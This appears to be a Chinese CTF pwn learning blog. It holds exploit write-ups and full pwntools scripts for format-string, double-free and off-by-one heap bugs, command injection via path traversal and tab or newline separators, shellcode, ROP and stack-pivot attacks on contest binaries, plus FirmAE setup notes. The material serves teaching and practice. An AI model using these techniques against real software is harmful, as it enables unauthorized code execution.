和哥几个打的这个比赛,虽然只做出了几道题,但是还有几道其实也都差不多了,思路都没问题,还是因为细节的问题,对原理的掌握不够深入导致的问题,还得再好好打基础和巩固.
fooooood 这道格式化字符串题给自己整的太恶心了..主要是很久不做格式化字符串了,然后当时理解的没那么深入,有些小问题就卡死了…
非栈上的格式化字符串利用, 看到一种方法是可以利用栈上已有的指针,当时也用了,不过不知道为什么利用格式化字符串写数据的时候有问题….回头再专门学一下
这是一条可以利用的链
感觉自己的思路是没有问题的,但是对格式化字符串的一些利用的小点不是很熟悉,就导致了问题
exp 主要分了几部分,先把for循环的i改大一点,因为要循环很多次,然后还要地址泄露,再之后呢,写一个格式化字符串的替换函数,把返回地址修改了就可以了
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162from pwn import *context(os='linux',log_level='debug')libc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(io)io.recvuntil("Give me your name:")io.sendline("test")io.recvuntil("favourite food: ")io.sendline("%11$p")io.recvuntil("You like ")#data = (io.recvline().strip()).decode().split('.')rsp = int(io.recvuntil('!?')[:-2],16)-248print(hex(rsp))i = rsp+4i_off = i&0xffffprint(hex(i_off))payload = b'%'+str(i_off).encode()+b'c%11$hn'print(payload)io.sendlineafter('food: ',payload)payload = b'%'+str(40).encode()+b'c%37$hhn'sleep(1)io.sendlineafter('food: ',payload)# 泄露libcpayload = b'%9$p'io.sendlineafter('food: ',payload)io.recvuntil("You like ")libc.address = int(io.recvuntil('!?')[:-2],16) - 240- libc.sym.__libc_start_main#简单的格式化字符串利用函数,将dest地址的后8字节循环更改成ptr对应的字节,off1与off2为上述 (1)与(2)两个栈地址在格式化字符串中的偏移def overlap(dest,ptr,off1,off2): d = dest&0xff for i in range(8): if not ptr: break payload=b'%'+str(d).encode()+b'c%'+str(off1).encode()+b'$hhn' io.sendlineafter('food: ',payload) f=ptr&0xff payload=b'%'+str(f).encode()+b'c%'+str(off2).encode()+b'$hhn' io.sendlineafter('food: ',payload) d+=1 ptr>>=8ret=rsp+0x18ptr=libc.address+0x21112payload = b'%'+str(ret&0xffff).encode()+b'c%'+str(25).encode()+b'$hn'io.sendlineafter('food: ',payload)pause()# 覆盖返回地址overlap(ret,ptr,25,39)overlap(ret+8,libc.search(b'/bin/sh').__next__(),25,39)overlap(ret+16,libc.sym.system,25,39)io.sendlineafter('food: ',payload)io.interactive()
自己之前的exp..回头检查下是哪的问题
12345678910111213141516171819202122232425262728293031323334353637from pwn import *context(os='linux',log_level='debug')mylibc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(io)io.recvuntil("Give me your name:")io.sendline("test")io.recvuntil("favourite food: ")io.sendline("%31$p.%21$p")io.recvuntil("You like ")data = (io.recvline().strip()).decode().split('.')print(data)#pause()#libc_addr = int(data[3],16)-0x20840first_addr = int(data[0],16)print(hex(first_addr))#pause()#print(hex(libc_addr))#print(hex(ret_addr))#onegadget = libc_addr + 0x45226#pause()payload = fmtstr_payload(31,{0x7fffff:0x7fffff})print(payload)#payload = b"%58248c%31$n"payload = b"%.26204x%30$n"#pause()io.recvuntil("favourite food: ")io.sendline(payload)io.recvuntil("You like ")pause()io.interactive()
存储备忘的信息
%10$p.%15$p.aaa
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
0x7fffffffbdc0.0x7ffff7dd3780.0x7ffff7b043c0.0x7ffff7ff6700.0x9.0x1ffffe540.0xc144e077e3cf5200.0x555555554b60.0x7ffff7a2d840.(nil).37
为什么不按顺序了…
0x7fffffffbdc0.0x7ffff7dd3780.0x7ffff7b043c0.0x7ffff7ff6700.0x9.0x3ffffe540.0xb1fb67251108900.0x555555554b60.0x7ffff7a2d840.(nil).0x7fffffffe548test’
%12$p.%13$p.%14$p.%15$p.aaa
0x1f7ffcca0.0x555555554a67.(nil).0x7da3d3a4544d517e.aaa37
%16$p.%17$p.%18$p.%19$p.aaa
x555555554820.0x7fffffffe540.(nil).(nil).aaa
%20$p.%21$p.%22$p.%23$p.aaa
0x4f7197cdb841edfc.0x4f718777df51edfc.(nil).(nil).aaa
%24$p.%25$p.%26$p.%27$p.aaa
(nil).0x7fffffffe558.0x7ffff7ffe168.0x7ffff7de780b.aaa
%28$p.%29$p.%30$p.%31$p.aaa
(nil).(nil).0x555555554820.0x7fffffffe540.aaa
%32$p.%33$p.%34$p.%35$p.aaa
(nil).0x555555554849.0x7fffffffe538.0x1c.aaa
%36$p.%37$p.%38$p.%39$p.aaa
0x1.0x7fffffffe79c.(nil).0x7fffffffe7ba.aaa
0x7fffffffe388
0xffffe388
0xe388
11个位置 -0xd0
https://blog.csdn.net/qq_52877079/article/details/129756543
https://www.anquanke.com/post/id/184717
easynote 简单的一道菜单堆题,看的时候很眼熟很眼熟,果然是之前做过的,只是稍微改动
https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/
开启了pie,那就用largebin smallbin的main_arena来泄露地址,
这里有个小坑,就是接收返回地址的时候一直接收不到,注意这是因为先接收到了\n,用recv应该是接收到\n为止? 所以可以用多个recv或者recvuntil,
malloc有检测,回头分析源码的时候可以具体看看
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455from pwn import *elf = "./pwn"context.log_level= "debug"p = process(elf)#p = remote("node4.buuoj.cn",25350)context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def add(size,content): p.sendlineafter('5. exit', '1') p.sendlineafter('The length of your content --->', str(size)) p.sendlineafter('Content --->', content)def edit(index, size,content): p.sendlineafter('5. exit', '2') p.sendlineafter('Index --->', str(index)) p.sendlineafter('The length of your content --->', str(size)) p.sendlineafter('Content --->', content)def show(index): p.sendlineafter('5. exit', '4') p.sendlineafter('Index --->', str(index))def delete(index): p.sendlineafter('5. exit', '3') p.sendlineafter('Index --->', str(index))add(0x30,"aaa")add(0x30,"bbb")delete(0)delete(1)delete(0)add(0x50,"xielu")add(0x100,"dizhi") # 3 泄露地址用add(0x50,"hebing") # 防止合并delete(3)show(3)p.recvuntil("Content: ")libc_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x3c4b78print(hex(libc_addr))# fastbin double free修改add(0x30,p64(0x602022))add(0x30,"a")add(0x30,"b")#pause()add(0x30,b"\x40\x00\x00\x00\x00\x00"+p64(libc_addr+0x4527a))p.interactive()
server 当时做的时候没想到栈的重叠的问题,单纯过滤肯定是没戏的.咋说捏,只会一些传统的套路是不行的,那只是基础,要在此之上更上一个纬度,看清事物的本质,学会变通才能应对更复杂的情况.
对此题的反思就是,首先还是基础,要打好基础,打好操作系统原理的基础,如果懂这个的话,估计其实很容易想到重叠的问题.然后再培养细心以及一些自动化工具帮你寻找类似的点.
思路一 access校验的长度有限,为32
1234567snprintf(name, 0x20uLL, "/keys/%s.key", s);这个长度是27,加上/keys就是32了../../../../../././bin/sh # /keys/../../../../../././bin/sh 最后access的是这个文件,肯定是存在的
然后就是命令拼接了,存在未初始化漏洞,栈上有残留数据
第二次输入个单引号就好了, \n也可以作为命令分隔符,所以前面那个add_user -u ‘’就是没用的了,直接执行后面的/bin/sh了
过滤 ; & ` | $ 空格 ( ) {} - / \
这个不用写脚本,
123456789101112第一次选1,输入../../../../../././bin/sh #然后选2,输入'然后就闭合了,就可以getshell了 "add_user -u '%s' -p '888888'" ► 0x555555555748 call system@plt <system@plt> command: 0x7fffffffe410 ◂— "add_user -u ''\n/bin/sh #' -p '888888'"
思路二1'\ncat\tfl*\n
这里也用到覆盖了,看exp就可以理解了,exp的12就是随便输入的,后面的’\n会替代
过滤的空格可以用\t替代
12345678910111213141516171819202122232425262728293031from pwn import *elf = "./pwn_7"context.log_level= "debug"p = process(elf)#p =remote("node4.buuoj.cn", 25471)context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)p.recvuntil("Your choice >>")p.sendline("1")p.recvuntil("Please input the key of admin : ")p.sendline(b"../../../../../../../../../")print(p.recv())p.recvuntil("Your choice >>")p.sendline("2")p.recvuntil("Please input the username to add :")payload = b"xxcat\tfl*\n"p.sendline(payload)p.recv(1024)p.recv(1024)p.recvuntil("Your choice >>")p.sendline("2")p.recvuntil("Please input the username to add :")payload = b"'"p.sendline(payload)print(p.recv(1024))print(p.recv(1024))p.interactive()
能不能’cat\tfl*\n呢,不能呀,,需要有个\n,但是没有,也没有; 没有分隔符没办法执行两条命令,这个必须要\n的 \t不行吗,不行…….
https://blog.51cto.com/u_15400016/4287727
https://www.secpulse.com/archives/96374.html
问题用recv应该是接收到\n为止? 所
固件模拟工具firmae安装
因为最近在做iot相关的漏洞复现,搭建环境是很重要的一环,qemu可以直接搭建,但有时候一些细节会导致一些问题,所以firmae是一个集成化的工具,可以帮助一键搭建环境.
但是安装这个工具的时候..又发生了奇奇怪怪的问题…记录一下.. 搞计算机遇到报错太正常了,但同样也是非常搞人心态的,学会如何排错,如何利用搜索引擎(包含chatgpt!)来解决问题是很重要的一个能力!
有一说一,能真机还是最好别虚拟… 当然没有那么多钱、也不一定能买到,虚拟也是不错的
工具地址:https://github.com/pr0v3rbs/FirmAE
搭建环境:ubuntu18
123git clone --recursive https://github.com/pr0v3rbs/FirmAE./download.sh # 就是一个下载脚本,单纯的download..(国内服务器买香港的,或者用国外的..或者..../install.sh
然后报错了…一堆红…
其实如果不确定是哪里报错了,可以拆看sh脚本,一点一点执行,看看
报错:
1234./psycopg/psycopg.h:35:10: fatal error: Python.h: No such file or directory #include <Python.h> ^~~~~~~~~~ compilation terminated.
解决方案:https://stackoverflow.com/questions/19843945/psycopg-python-h-no-such-file-or-directory
其实不解决貌似后面也能搭建起来,好像是一路畅通,但运行起来还是显示不了页面等,肯定有问题,所以还是要解决的.
1sudo apt-get install python3-dev
运行完后重新跑一遍install脚本,出现这个,一路输入y
1Reversed (or previously applied) patch detected! Assume -R? [n]
开始模拟
123./init.shwget https://github.com/pr0v3rbs/FirmAE/releases/download/v1.0/DIR-868L_fw_revB_2-05b02_eu_multi_20161117.zip
123456root@VM-0-9-ubuntu:/home/ubuntu/FirmAE# ./run.sh -r tenda DIR868L_B1_FW205WWb02.bin[*] DIR868L_B1_FW205WWb02.bin emulation start!!!Traceback (most recent call last): File "./sources/extractor/extractor.py", line 19, in <module> import binwalkModuleNotFoundError: No module named 'binwalk'
不能直接pip3 install binwalk! 也不能apt install binwalk!!!!
参考:https://www.secpulse.com/archives/201139.html
可以观察到它目录下有binwalk这个目录,cd进去后 python3 setup.py install
解压固件要用这个命令 (github上也没说啊!!!!)
1binwalk -Me xxxx.bin --run-as=root
然后再run就可以了(有时候环境比较复杂,不知道哪个开的有影响,采用重启大法! 重启后init,然后run)
由于模拟环境是在云服务器上上的内网网卡,公网无法直接访问,需要做个端口转发,
gost:https://github.com/ginuerzh/gost
gzip -d 解压
1gost -L=tcp://:2222/192.168.0.2:80
然后就可以访问了!!!
pwn入门-30-2023OUC校赛
拖了挺久才整理…不应该…以后要及时复盘. 本身题不是很难,不过有很多小细节,自己之前没弄懂,还是说有时间的话,多研究研究,以及之前的题,要进行一定的复盘.
恢复符号 比较恶心的一个点(其实也不恶心,就是自己之前没弄过),找到了一些文章,然后github有编译好的符号文件,可以直接ida导入就好了,回头有时间可以自己编译一下
https://github.com/maroueneboubakri/lscan
https://blog.csdn.net/Breeze_CAT/article/details/103788796
ida中shift+f5,然后把符号文件添加进去
还有就是一些地址的计算…头大,,(估计还是原理没完全搞明白)
pwn1 栈长度是0x68 = 104,但能读取256,很明显的栈溢出,可以覆盖返回地址,而且没有开NX保护,可以写shellcode,于是问题就变成了怎么跳到shellcode呢,或者怎么知道shellcode的地址,puts的话,遇到\x00才会停止所以可以前面填满,然后输出ebp这里的值,这里的值好像会有一些变化,所以可以不用太具体,前面一直加nop就好了,跳到nop然后走,然后shellcode
121d:0074│ 0xffffd4f4 ◂— 0x01e:0078│ ebp 0xffffd4f8 —▸ 0xffffd508 ◂— 0x0
ebp和esp差了0x90 esp和ecx(开始输出字符串那里)差了0x28,ebp输出的值和ebp差了0xbe,这样有点乱,画图会清晰很多
这样其实有问题,不太对,因为ebp那里的值其实是不确定的,但总是会往前指,或多或少,有时候正好指到shellcode开头或者偏移一点点,至于为什么呢…可以后面在研究,可以简单的跳到这个位置就好了,加一些nop(但是打远程的时候不知道为什么老不成功,可以加一点偏移,因为毕竟是往前跳)
有system有/bin/sh 能不能rop呢?
p32(addr-0xbe+0x2e+0x28)
换句话说,ebp这个位置的值如果正好位于 [ebp-0x68,ebp-len(shellcode)]之间的话,就正好到了nop,如果大的话,就需要我们来加一点值了
12345678910111213141516171819202122232425262728##!/usr/bin/env pythonfrom pwn import *#sh = process('./pwn1')sh = remote("101.43.247.245",9200)#systemaddr = 0x8048440#binsh = 0x80486C0#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x80488F2")#gdb.attach(sh)sh.recvuntil(b"say")sh.sendline(b"a"*0x68)#addr = u32(sh.recv(8)[4:8])sh.recv(0x68)addr = u32(sh.recv(4))shellcode = asm(shellcraft.sh())nop = asm(''' nop ''')shellcode = nop*30+shellcodepayload = shellcode.ljust(0x68, b'b') + p32(0)+p32(addr+0xbe-0x78+0x10-4)print(hex(addr))print(hex(addr+0xbe-0x90+0x28+4))sh.sendline(payload)sh.interactive()
12345678910111213141516171819202122232425262728##!/usr/bin/env pythonfrom pwn import *sh = process('./pwn01')#sh = remote("101.43.247.245",9200)#systemaddr = 0x8048440#binsh = 0x80486C0#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x80488F2")#gdb.attach(sh)sh.recvuntil(b"say")sh.sendline(b"a"*0x68)#addr = u32(sh.recv(8)[4:8])sh.recv(0x68)addr = u32(sh.recv(4))print(hex(addr))#pause()shellcode = asm(shellcraft.sh())nop = asm(''' nop ''')shellcode = nop*40+shellcodepayload = shellcode.ljust(0x68,b'b') + p32(0)+p32(addr+0x2e+0x28-4)sh.sendline(payload)sh.interactive()
还遇到很玄学的问题,nop加多了,怎么也不行,
感觉像是后面的指令并没有识别出来 不多,好像是没传送完全?
pwn2 加了nx保护,用rop吧,ret2syscall, 这下不用算哪个比较恶心的shellcode的位置了,用ret2syscall是因为没有找到system函数..
execve(“/bin/sh”,NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
没有 /bin/sh,那就写入到栈后面,反正需要栈的地址,计算一下就可以了
1234567891011120x080b8eb6 : pop eax ; ret0x080481c9 : pop ebx ; ret0x080df8bd : pop ecx ; ret0x0806f83b : pop edx ; ret0x0806d443 : int 0x80============================================================0x08048798 : leave ; ret
写一下payload
栈是104+4(ebp) = 108, 溢出了 256-108 = 148字节
1234binsh = addr + 10*4payload= b"a"*0x68 + b"b"*4 + p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(binsh)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80)
泄露栈地址 puts函数遇到\n才会停止,所以可以以此来泄露栈上残留的值来泄露地址,其实不一定要泄露这个,哪个都行, 不过有一个问题就是,这个值会是固定的嘛…
不是固定的….可以换一个泄露,但是如果覆盖了ebp的话,是不是会影响栈桢呢….
溢出长度是不够的,需要栈迁移
当时好像想的是先把/bin/sh写到一个地方…
这是做的时候写的exp,是有概率拿到shell的…
12345678910111213141516171819202122232425262728293031323334353637383940##!/usr/bin/env pythonfrom pwn import *#sh = process('./pwn1')sh = remote("101.43.247.245",9201)#systemaddr = 0x8048440#binsh = 0x80486C0#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x80488F2")#gdb.attach(sh)# 泄露栈地址sh.recvuntil(b"say")sh.sendline(b"a"*0x68)#addr = u32(sh.recv(8)[4:8])sh.recv(0x68)addr = u32(sh.recv(4))pop_eax = 0x080b8eb6pop_ebx = 0x080481c9pop_ecx = 0x080df8bdpop_edx = 0x0806f83bint80 = 0x0806d443leaveret = 0x08048798binsh = addr + 0xae-0x78+0x10-4 + 11*4-4payload= p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(binsh)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80) + b"/bin/sh\x00"#payload= b"/bin/sh\x00"*0x8payload = payload.ljust(0x68,b"a")+p32(addr+0xae-0x78+0x10-4)+p32(leaveret)#payload = payload.ljust(0x68,b"a") +p32(0)+p32(addr+0xbe-0x78+0x10-4)print(hex(addr))print(hex(addr+0xae-0x78+0x10-4))sh.sendline(payload)sh.interactive()
查看符号 readelf objdump?
pwn3恶心的过滤…怎么把过滤应用到这了,
主要是 一个常用的指令, push xxx, 转成字节码会有\x68,正好命中了规则,草!
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283##!/usr/bin/env pythonfrom pwn import *#context(os='linux',arch="i386")#sh = process('./pwn3')sh = remote("101.43.247.245",9202)#systemaddr = 0x8048440#binsh = 0x80486C0#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))context.arch= 'x86'context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x8048967")#gdb.attach(sh)sh.recvuntil(b"say")'''sh.sendline(b"a"*0x60+p32(0)+p32(0x99999)+b"d"*8)#sh.sendline(b"a"*0x70)#addr = u32(sh.recv(8)[4:8])sh.recv(0x70)addr = u32(sh.recv(4))print(hex(addr))print(hex(addr+0xbe-0x90+0x28+4))'''pop_eax = 0x080b8f16pop_ebx = 0x080481c9pop_ecx = 0x080df91dpop_edx = 0x0806f89bint80 = 0x0806d4a3leaveret = 0x08048798bssaddr = 0x080ECDBBjmpesp = 0x080dea1f#binsh = addr + 0xae-0x78+0x10-4 + 11*4-4str = ""#shellcode = asm("push 0x0;")shellcode = asm(''' push 0 mov eax,0x7478742e push eax mov eax,0x67616c66 push eax mov ebx,esp xor ecx,ecx #0 xor edx,edx #0 mov eax,0x5 #调用号 int 0x80 mov eax,0x3; mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag” mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件 mov edx,0x120; #对应字节数 int 0x80; mov eax,0x4; # eax = sys_write mov ebx,0x1; # ebx = unsigned int fd = 1 int 0x80; ''')#shellcode = b"\x66\x6c\x61\x67" + shellcodeprint(shellcode)#shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')#shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')#shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')payload1 = p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80) + b"cat$flag.txt\x00"#payload1 = p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80)#payload2 = p32(pop_eax)+p32(0x5)+p32(pop_ebx)+p32(bssaddr)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80)#payload2 += p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(3)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80)#payload2 += p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80)#payload = shellcode#print(payload)#print("length")#print(len(payload))#shellcode = b""payload = shellcode.ljust(0x60,b"a") + p32(0)+p32(0xaaaaa) + p64(0) + p32(0xaaa) + p32(jmpesp) + asm("sub esp,0x78;jmp esp")#payload = b"a"*0x60 + p32(0)+p32(0xaaaaa) + p64(0) + p32(0xaaa) + p32(jmpesp) + asm("sub esp,0x78;jmp esp")#payload = b"a"*0x60 + p32(0)+p32(0x9999)sh.sendline(payload)sh.recv(0x120)sh.interactive()
pwn4 0x68 ebp ret 的栈空间 输入0x80 24字节溢出, 减去4字节ebp的话,还有20字节
只开了NX,那就还是rop吧,这个有system和/bin/sh、或者直接后门函数..
1234567891011121314151617181920plt 0x8048440 system 0x80486C0 binsh.text:080485BD public shell.text:080485BD shell proc near.text:080485BD ; __unwind {.text:080485BD push ebp.text:080485BE mov ebp, esp.text:080485C0 sub esp, 8.text:080485C3 sub esp, 0Ch.text:080485C6 push offset command ; "/bin/sh".text:080485CB call _system.text:080485D0 add esp, 10h.text:080485D3 nop.text:080485D4 leave.text:080485D5 retn.text:080485D5 ; } // starts at 80485BD.text:080485D5 shell endp.text:080485D5
怎么看system的地址呢?,就是push的值不一样,但怎么确定哪个是system呢? (这个是动态链接了!)
exp
123456789from pwn import *#sh = process('./pwn04')sh = remote("101.43.247.245",9203)systemaddr = 0x8048440binsh = 0x80486C0sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))# sh.sendline(b'A' * (0x68+4) + p32(0x80485BD))sh.interactive()
pwn5主要是要理解清楚逻辑和内存代码布局就可以了
123456789101112131415161718192021222324252627signed int sub_80488CE(){ int v0; // eax char v2; // [esp-Ch] [ebp-24h] int v3; // [esp+Ch] [ebp-Ch] sub_804887C(); v3 = sub_8059F50(48); sub_8048987(v3, 48); v0 = sub_804DBD0(v3 + 16) + 5; if ( v0 == 8 ) { sub_8048987(v3, 48); } else if ( v0 > 8 ) { if ( v0 == 10 ) return 0; if ( v0 == 85145 ) sub_804F700("/bin/sh"); } else if ( v0 == 6 ) { sub_804FA00("where is shell", v2); } return 1;}
12345678910111213141516from pwn import *#sh = process('./pwn5')sh = remote("101.43.247.245",9204)systemaddr = 0x8048440binsh = 0x80486C0context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x008048987")#payload = p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+p32(0x14c94000)payload = "1234123412341234" + "85140"sh.sendline(payload)sh.interactive()
pwn6看看又改了啥…
123456789101112131415161718192021222324252627signed int sub_80488CE(){ int v0; // eax char v2; // [esp-Ch] [ebp-24h] char *nptr; // [esp+Ch] [ebp-Ch] sub_804887C(); nptr = (char *)sub_8059F40(48); sub_8048980(nptr, 48); v0 = atoi_0(nptr); if ( v0 == 2 ) { sub_8048980(nptr, 48); } else if ( v0 > 2 ) { if ( v0 == 3 ) return 0; if ( v0 == 12345 ) sub_804F6F0("/bin/sh"); } else if ( v0 == 1 ) { sub_804F9F0("where is shell", v2); } return 1;}
输入12345即可
root@hecs-149507:~/haida# nc 101.43.247.245 9205
12345
pwn7123456789int sub_89588B7(){ char s; // [esp+0h] [ebp-68h] sub_895F980("please input the way you want go"); __libc_read(0, &s, 96); _IO_puts(&s); return sub_80488E7(&s, 0);}
一个char为什么能占据那么多栈空间???
应该是有很多路径,可以根据/bin/sh回溯吧?
是的…一点点回溯就可以找到
845542A -> 816c3f7->8091787->805ac47 ->804d177->8049ae7->8048cd7->8048977->80488e7->main
p32(87)+p32(83)+p32(68)+p32(87)+p32(65)+p32(65)+p32(87)+p32(68)+p32(87)
878368876565876887
WSDWAAWDW(这个就是答案)
为什么87变成0x38了 56了
0x80488fd movzx eax, byte ptr [eax]
pwn8格式化字符串,修改内存值即可
修改0x80EBF9C处的值为28
1234567891011121314int sub_80488CE(){ int result; // eax char v1; // [esp+0h] [ebp-68h] sub_804F9B0("please input what you want say"); __libc_read(0, &v1, 96); sub_804F9B0(&v1); if ( dword_80EBF9C == 28 ) result = sub_804F6B0("/bin/sh"); else result = sub_804F9B0("the key is %d %d"); return result;}
123456789101112131415from pwn import *payload = b"%28d" + b"A" * (0x90 - len(b"%28d")) + p32(0x80EBF9C)sh = remote("101.43.247.245",9207)context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x008048987")#payload = b"%28d" + b"A" * (0x90 - len(b"%28d")) + p32(0x80EBF9C)payload = fmtstr_payload(4,{0x80EBF9C:28})sh.sendline(payload)sh.interactive()
pwn91234567891011int sub_8048945(){ char v1; // [esp+0h] [ebp-1B8h] char v2; // [esp+150h] [ebp-68h] _IO_puts("please input your username"); __libc_read(0, &v2, 32); _IO_puts("please input your passwd"); __libc_read(0, &v1, 335); return sub_80488E7(&v1);}
不存在溢出
后面函数是往一个地址写数据..有什么用呢?
有后们函数,所以应该是要覆盖字符串,或者说字符串复制
0x08048948 覆盖为 0x80488CE(system)
第一次写入要覆盖的地址,第二次覆盖
问题回头有时间可以自己编译一下符号
这样其实有问题,不太对,因为ebp那里的值其实是不确定的,但总是会往前指,或多或少,有时候正好指到shellcode开头或者偏移一点点,至于为什么呢…可以后面在研究
哪个都行, 不过有一个问题就是,这个值会是固定的嘛…
plt的过程再熟悉下
pwn入门-29-off—by-one
总的感觉就是通过off by null来修改size区域,然后造成堆块合并,使得堆块重叠,可以修改可控堆块,
主要看了一个这里面的例子:https://www.jianshu.com/p/8eb55c40ec4a 还有权威指南的pwn书
https://github.com/shellphish/how2heap/blob/master/glibc_2.23/poison_null_byte.c how2heap的例子也不错
demo
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <unistd.h>#include <assert.h>char *ptr[0x100] = {0};void menu(){ puts("1.malloc"); puts("2.edit"); puts("3.show"); puts("4.free"); puts("5.exit");}void my_malloc(){ int index,size; puts("index:"); scanf("%d",&index); puts("size:"); scanf("%d",&size); ptr[index] = malloc(size); puts("content:"); read(0,ptr[index],size);}void my_edit(){ int index,size; puts("index:"); scanf("%d",&index); puts("size:"); scanf("%d",&size); puts("content:"); read(0,ptr[index],size);}void my_free(){ int index; puts("index:"); scanf("%d",&index); free(ptr[index]);}void my_show(){ int index; puts("index:"); scanf("%d",&index); puts(ptr[index]);}int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); puts("welcome"); while(1){ int op; menu(); scanf("%d",&op); if(op == 1) my_malloc(); else if(op == 2) my_edit(); else if(op == 3) my_show(); else if(op == 4) my_free(); else if(op == 5) exit(0); else puts("invalid!"); } return 0;}
这个demo里的edit可以得到任意size,但假设只能溢出1字节
利用1:扩展被释放块 利用思路可以总结为通过拓展一个被释放的块,覆盖掉后面的块,可以修改后面块的内容,比如fd,bk或者函数指针等,从而可以进一步利用
gcc -g demo.c demo1
patchelf –set-interpreter ~/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 ./demo1
patchelf –set-rpath /root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ./demo1
覆盖前
覆盖后,可以修改后面的bin的内容了,然后再申请后面bin,就可以申请到free_hook等任意地址,进行修改
0x51的原因是 0x418 (0x410其实是) + 0x10的头 + 0x20的数据(或者说0x28) + 0x10的头
所以就等于0x450, 不存在0x458这种, 其实这里改成多少都行,能覆盖到就可以了
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859from pwn import *context.log_level = 'debug'p = process('./demo1')libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def cmd(a): p.recvuntil('5.exit') p.sendline(str(a))def alloc(index,size,content): cmd(1) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def edit(index,size,content): cmd(2) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def show(index): cmd(3) p.recvuntil('index:\n') p.sendline(str(index))def free(index): cmd(4) p.recvuntil('index:\n') p.sendline(str(index))alloc(0,0x18,b'a')alloc(1,0x418,b'b')alloc(2,0x28,b'c')free(1)edit(0,0x19,p64(0)*3+p8(0x51))alloc(3,0x448,b'\xa0') # 0x440 0x448都可以,free(2)show(3)leak_libc = u64(p.recv(6).ljust(8,b"\x00"))libc_base = leak_libc - 0x3ebca0 # main+96和libc起始位置偏移free_hook = libc_base + libc.symbols['__free_hook']system = libc_base + libc.symbols['system']#print(hex(leak_libc))edit(3,0x448,b'a'*0x418+p64(0x31)+p64(free_hook))alloc(4,0x28,b'/bin/sh')alloc(5,0x28,p64(system))free(4)p.interactive()#pause()
奇怪的是,这里的free(2)为什么没有被合并呢, 一般需要加一个堆块挡着
利用2: 扩展已分配块
感觉和1差不多其实,就是换一下顺序
